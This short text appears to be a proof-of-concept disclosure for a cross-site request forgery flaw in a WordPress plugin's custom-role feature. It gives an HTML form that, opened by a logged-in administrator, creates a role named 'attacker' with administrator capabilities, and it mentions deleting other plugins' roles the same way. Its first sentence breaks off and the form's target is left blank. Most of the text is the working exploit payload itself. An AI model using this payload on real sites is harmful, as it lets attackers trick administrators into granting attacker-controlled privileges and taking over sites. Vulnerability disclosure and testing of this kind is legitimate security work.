To delete the custom role dj (it's possible to delete roles created by other plugins), make a logged in admin open

To create a custom role, make a logged in admin open a page containing the HTML code below

<form action="" method="POST">
    <input type="text" name="wcj_custom_role_id" value="via-csrf">
    <input type="text" name="wcj_custom_role_name" value="attacker">
    <input type="text" name="wcj_custom_role_caps" value="administrator">
    <input type="submit" name="submit" value="submit">